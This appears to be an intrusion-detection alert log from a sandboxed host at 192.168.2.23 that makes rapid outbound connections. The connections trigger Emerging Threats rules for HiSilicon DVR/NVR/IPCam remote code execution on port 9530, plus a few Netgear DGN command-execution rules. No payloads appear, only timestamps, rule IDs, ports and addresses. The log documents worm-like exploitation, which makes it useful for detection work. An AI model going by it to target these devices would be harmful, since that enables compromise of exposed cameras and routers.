05/16/24-16:39:02.767198	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54688	9530	192.168.2.23	25.43.42.222
05/16/24-16:39:02.767198	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54688	9530	192.168.2.23	25.43.42.222
05/16/24-16:39:12.301169	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39258	9530	192.168.2.23	37.218.6.61
05/16/24-16:39:12.301169	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39258	9530	192.168.2.23	37.218.6.61
05/16/24-16:39:12.301232	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35016	9530	192.168.2.23	207.220.104.202
05/16/24-16:39:12.301232	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35016	9530	192.168.2.23	207.220.104.202
05/16/24-16:38:57.444151	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52530	9530	192.168.2.23	64.73.27.220
05/16/24-16:38:59.557151	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42976	9530	192.168.2.23	173.157.88.134
05/16/24-16:38:59.557151	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42976	9530	192.168.2.23	173.157.88.134
05/16/24-16:39:08.125415	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35638	9530	192.168.2.23	96.138.68.69
05/16/24-16:39:08.125415	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35638	9530	192.168.2.23	96.138.68.69
05/16/24-16:38:53.064391	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59218	9530	192.168.2.23	213.159.230.91
05/16/24-16:39:12.403663	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58380	9530	192.168.2.23	190.23.86.180
05/16/24-16:38:53.064391	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59218	9530	192.168.2.23	213.159.230.91
05/16/24-16:39:05.675951	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44970	9530	192.168.2.23	184.92.2.47
05/16/24-16:39:05.675951	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44970	9530	192.168.2.23	184.92.2.47
05/16/24-16:39:12.403663	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58380	9530	192.168.2.23	190.23.86.180
05/16/24-16:39:08.041040	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40104	9530	192.168.2.23	195.112.240.235
05/16/24-16:38:57.444151	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52530	9530	192.168.2.23	64.73.27.220
05/16/24-16:39:08.041040	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40104	9530	192.168.2.23	195.112.240.235
05/16/24-16:38:53.098228	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51038	9530	192.168.2.23	65.38.243.142
05/16/24-16:38:53.098228	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51038	9530	192.168.2.23	65.38.243.142
05/16/24-16:38:55.226330	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37872	9530	192.168.2.23	141.204.186.19
05/16/24-16:39:16.604444	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44430	9530	192.168.2.23	13.131.97.48
05/16/24-16:39:16.604444	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44430	9530	192.168.2.23	13.131.97.48
05/16/24-16:39:08.045042	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32832	9530	192.168.2.23	70.96.88.245
05/16/24-16:38:55.226330	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37872	9530	192.168.2.23	141.204.186.19
05/16/24-16:39:08.045042	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32832	9530	192.168.2.23	70.96.88.245
05/16/24-16:39:14.513677	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55838	9530	192.168.2.23	118.185.36.234
05/16/24-16:39:14.513677	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55838	9530	192.168.2.23	118.185.36.234
05/16/24-16:39:05.694619	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37702	9530	192.168.2.23	211.144.24.65
05/16/24-16:39:05.694619	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37702	9530	192.168.2.23	211.144.24.65
05/16/24-16:39:02.744316	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56582	9530	192.168.2.23	44.139.13.235
05/16/24-16:39:02.744316	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56582	9530	192.168.2.23	44.139.13.235
05/16/24-16:39:14.511700	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49950	9530	192.168.2.23	113.202.110.71
05/16/24-16:39:05.675697	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51552	9530	192.168.2.23	222.236.166.240
05/16/24-16:39:05.675697	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51552	9530	192.168.2.23	222.236.166.240
05/16/24-16:39:14.511700	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49950	9530	192.168.2.23	113.202.110.71
05/16/24-16:39:16.585499	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48512	9530	192.168.2.23	141.26.151.245
05/16/24-16:39:16.585499	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48512	9530	192.168.2.23	141.26.151.245
05/16/24-16:38:55.201812	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44372	9530	192.168.2.23	88.189.159.101
05/16/24-16:39:08.041085	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35504	9530	192.168.2.23	99.81.183.153
05/16/24-16:38:55.201812	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44372	9530	192.168.2.23	88.189.159.101
05/16/24-16:39:05.711672	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37506	9530	192.168.2.23	83.139.0.65
05/16/24-16:39:08.041085	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35504	9530	192.168.2.23	99.81.183.153
05/16/24-16:39:12.298291	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48734	9530	192.168.2.23	40.132.65.52
05/16/24-16:39:12.298291	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48734	9530	192.168.2.23	40.132.65.52
05/16/24-16:39:05.676360	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53436	9530	192.168.2.23	71.84.163.84
05/16/24-16:39:05.711672	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37506	9530	192.168.2.23	83.139.0.65
05/16/24-16:39:05.676360	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53436	9530	192.168.2.23	71.84.163.84
05/16/24-16:39:05.709884	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47964	9530	192.168.2.23	86.171.143.10
05/16/24-16:39:12.298280	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35176	9530	192.168.2.23	111.197.10.186
05/16/24-16:38:59.590375	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45762	9530	192.168.2.23	61.100.150.150
05/16/24-16:39:12.298280	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35176	9530	192.168.2.23	111.197.10.186
05/16/24-16:38:59.590375	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45762	9530	192.168.2.23	61.100.150.150
05/16/24-16:39:08.126457	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44150	9530	192.168.2.23	134.209.31.39
05/16/24-16:39:08.126457	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44150	9530	192.168.2.23	134.209.31.39
05/16/24-16:38:49.306238	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	44310	80	192.168.2.23	45.89.131.53
05/16/24-16:39:14.507723	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41112	9530	192.168.2.23	52.191.119.25
05/16/24-16:39:14.513398	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48310	9530	192.168.2.23	45.18.70.112
05/16/24-16:39:14.507723	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41112	9530	192.168.2.23	52.191.119.25
05/16/24-16:39:14.513398	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48310	9530	192.168.2.23	45.18.70.112
05/16/24-16:39:05.700298	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51700	9530	192.168.2.23	19.107.89.98
05/16/24-16:39:05.700298	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51700	9530	192.168.2.23	19.107.89.98
05/16/24-16:38:55.176096	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35324	9530	192.168.2.23	118.114.93.131
05/16/24-16:38:55.176096	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35324	9530	192.168.2.23	118.114.93.131
05/16/24-16:39:05.715262	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58890	9530	192.168.2.23	150.123.30.69
05/16/24-16:39:05.715262	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58890	9530	192.168.2.23	150.123.30.69
05/16/24-16:39:05.709884	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47964	9530	192.168.2.23	86.171.143.10
05/16/24-16:39:12.301249	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55532	9530	192.168.2.23	201.35.24.88
05/16/24-16:39:12.301249	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55532	9530	192.168.2.23	201.35.24.88
05/16/24-16:39:09.587308	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	41208	80	192.168.2.23	29.67.192.209
05/16/24-16:38:57.411084	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47328	9530	192.168.2.23	77.3.25.123
05/16/24-16:38:57.411084	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47328	9530	192.168.2.23	77.3.25.123
05/16/24-16:39:05.676360	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37234	9530	192.168.2.23	131.12.98.89
05/16/24-16:39:05.676360	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37234	9530	192.168.2.23	131.12.98.89
05/16/24-16:39:03.263596	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38186	9530	192.168.2.23	79.139.118.127
05/16/24-16:39:03.263596	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38186	9530	192.168.2.23	79.139.118.127
05/16/24-16:38:59.587430	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55638	9530	192.168.2.23	50.111.60.251
05/16/24-16:39:14.532255	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50720	9530	192.168.2.23	97.100.62.141
05/16/24-16:38:59.587430	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55638	9530	192.168.2.23	50.111.60.251
05/16/24-16:39:14.532255	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50720	9530	192.168.2.23	97.100.62.141
05/16/24-16:39:08.047700	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60196	9530	192.168.2.23	95.176.16.71
05/16/24-16:39:08.047700	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60196	9530	192.168.2.23	95.176.16.71
05/16/24-16:38:59.584449	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53970	9530	192.168.2.23	46.22.251.36
05/16/24-16:38:59.584449	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53970	9530	192.168.2.23	46.22.251.36
05/16/24-16:38:57.409827	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46596	9530	192.168.2.23	27.197.72.14
05/16/24-16:39:14.493640	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43188	9530	192.168.2.23	66.119.8.144
05/16/24-16:38:50.068494	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45784	9530	192.168.2.23	40.229.34.117
05/16/24-16:39:14.493640	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43188	9530	192.168.2.23	66.119.8.144
05/16/24-16:38:50.068494	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45784	9530	192.168.2.23	40.229.34.117
05/16/24-16:38:57.409827	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46596	9530	192.168.2.23	27.197.72.14
05/16/24-16:38:53.013613	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36000	9530	192.168.2.23	184.103.88.123
05/16/24-16:38:53.013613	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36000	9530	192.168.2.23	184.103.88.123
05/16/24-16:38:55.176055	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57910	9530	192.168.2.23	45.141.219.182
05/16/24-16:39:05.512197	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	34372	80	192.168.2.23	1.213.162.54
05/16/24-16:39:14.493200	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55502	9530	192.168.2.23	101.164.141.25
05/16/24-16:38:50.052092	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40330	9530	192.168.2.23	8.227.106.158
05/16/24-16:39:14.493200	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55502	9530	192.168.2.23	101.164.141.25
05/16/24-16:39:12.398790	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49036	9530	192.168.2.23	35.213.196.233
05/16/24-16:39:12.398790	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49036	9530	192.168.2.23	35.213.196.233
05/16/24-16:38:55.176055	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57910	9530	192.168.2.23	45.141.219.182
05/16/24-16:38:57.305819	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38278	9530	192.168.2.23	178.124.171.221
05/16/24-16:38:57.305819	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38278	9530	192.168.2.23	178.124.171.221
05/16/24-16:39:02.766974	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47246	9530	192.168.2.23	163.79.65.217
05/16/24-16:38:59.519982	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54706	9530	192.168.2.23	111.38.212.12
05/16/24-16:38:59.519982	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54706	9530	192.168.2.23	111.38.212.12
05/16/24-16:39:08.128034	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35706	9530	192.168.2.23	48.2.244.188
05/16/24-16:38:57.443755	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58520	9530	192.168.2.23	85.82.60.201
05/16/24-16:38:57.443755	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58520	9530	192.168.2.23	85.82.60.201
05/16/24-16:39:02.766974	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47246	9530	192.168.2.23	163.79.65.217
05/16/24-16:38:50.080370	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60542	9530	192.168.2.23	150.229.17.162
05/16/24-16:39:02.726887	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55386	9530	192.168.2.23	209.249.39.104
05/16/24-16:38:50.080370	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60542	9530	192.168.2.23	150.229.17.162
05/16/24-16:39:08.128034	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35706	9530	192.168.2.23	48.2.244.188
05/16/24-16:39:02.726887	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55386	9530	192.168.2.23	209.249.39.104
05/16/24-16:38:53.099118	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60146	9530	192.168.2.23	223.204.132.198
05/16/24-16:39:05.700284	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48640	9530	192.168.2.23	178.91.46.50
05/16/24-16:39:05.700284	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48640	9530	192.168.2.23	178.91.46.50
05/16/24-16:38:53.099118	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60146	9530	192.168.2.23	223.204.132.198
05/16/24-16:38:55.175119	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37282	9530	192.168.2.23	106.34.127.160
05/16/24-16:38:55.175119	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37282	9530	192.168.2.23	106.34.127.160
05/16/24-16:39:16.578993	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46058	9530	192.168.2.23	176.124.86.36
05/16/24-16:39:16.578993	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46058	9530	192.168.2.23	176.124.86.36
05/16/24-16:39:03.260905	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60086	9530	192.168.2.23	168.67.211.156
05/16/24-16:38:50.004289	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41872	9530	192.168.2.23	68.38.59.56
05/16/24-16:38:50.046279	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34602	9530	192.168.2.23	116.83.31.7
05/16/24-16:38:50.046279	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34602	9530	192.168.2.23	116.83.31.7
05/16/24-16:38:55.176129	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45352	9530	192.168.2.23	75.244.114.70
05/16/24-16:39:08.146569	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48328	9530	192.168.2.23	92.69.113.101
05/16/24-16:38:55.176129	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45352	9530	192.168.2.23	75.244.114.70
05/16/24-16:38:50.004289	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41872	9530	192.168.2.23	68.38.59.56
05/16/24-16:39:08.145175	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41816	9530	192.168.2.23	207.72.163.229
05/16/24-16:39:03.260905	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60086	9530	192.168.2.23	168.67.211.156
05/16/24-16:39:08.145175	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41816	9530	192.168.2.23	207.72.163.229
05/16/24-16:39:16.580814	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33932	9530	192.168.2.23	180.46.38.193
05/16/24-16:39:16.580814	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33932	9530	192.168.2.23	180.46.38.193
05/16/24-16:39:05.714865	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46582	9530	192.168.2.23	152.216.69.226
05/16/24-16:38:53.094045	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34022	9530	192.168.2.23	139.58.189.212
05/16/24-16:39:05.714865	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46582	9530	192.168.2.23	152.216.69.226
05/16/24-16:39:08.145365	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50022	9530	192.168.2.23	206.229.61.50
05/16/24-16:39:08.145365	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50022	9530	192.168.2.23	206.229.61.50
05/16/24-16:38:59.586878	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56268	9530	192.168.2.23	37.182.191.91
05/16/24-16:38:59.586878	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56268	9530	192.168.2.23	37.182.191.91
05/16/24-16:38:53.094045	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34022	9530	192.168.2.23	139.58.189.212
05/16/24-16:39:16.613470	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49502	9530	192.168.2.23	211.251.224.2
05/16/24-16:39:16.613470	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49502	9530	192.168.2.23	211.251.224.2
05/16/24-16:39:08.146569	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48328	9530	192.168.2.23	92.69.113.101
05/16/24-16:39:12.384783	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60608	9530	192.168.2.23	221.226.29.239
05/16/24-16:39:12.384783	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60608	9530	192.168.2.23	221.226.29.239
05/16/24-16:39:16.580811	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48006	9530	192.168.2.23	75.55.232.190
05/16/24-16:38:50.047733	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43766	9530	192.168.2.23	94.61.179.164
05/16/24-16:39:16.580811	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48006	9530	192.168.2.23	75.55.232.190
05/16/24-16:39:05.704126	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43596	9530	192.168.2.23	196.41.241.42
05/16/24-16:39:05.704126	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43596	9530	192.168.2.23	196.41.241.42
05/16/24-16:39:05.676829	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36856	9530	192.168.2.23	75.120.114.227
05/16/24-16:39:14.530334	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60798	9530	192.168.2.23	35.125.32.217
05/16/24-16:39:14.530334	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60798	9530	192.168.2.23	35.125.32.217
05/16/24-16:39:05.676829	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36856	9530	192.168.2.23	75.120.114.227
05/16/24-16:39:12.377559	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33164	9530	192.168.2.23	132.195.37.252
05/16/24-16:39:16.600105	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56256	9530	192.168.2.23	76.97.223.30
05/16/24-16:39:05.694688	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36294	9530	192.168.2.23	163.197.47.244
05/16/24-16:39:12.377559	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33164	9530	192.168.2.23	132.195.37.252
05/16/24-16:39:16.600105	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56256	9530	192.168.2.23	76.97.223.30
05/16/24-16:39:05.717222	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44934	9530	192.168.2.23	98.44.15.246
05/16/24-16:39:05.717222	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44934	9530	192.168.2.23	98.44.15.246
05/16/24-16:38:55.174990	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50212	9530	192.168.2.23	155.133.89.148
05/16/24-16:38:57.409838	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54704	9530	192.168.2.23	1.59.17.144
05/16/24-16:38:57.409838	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54704	9530	192.168.2.23	1.59.17.144
05/16/24-16:39:05.694688	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36294	9530	192.168.2.23	163.197.47.244
05/16/24-16:38:55.174990	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50212	9530	192.168.2.23	155.133.89.148
05/16/24-16:39:02.725512	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33064	9530	192.168.2.23	106.88.37.83
05/16/24-16:39:03.281185	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59116	9530	192.168.2.23	72.129.91.71
05/16/24-16:38:55.201814	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52638	9530	192.168.2.23	168.115.126.243
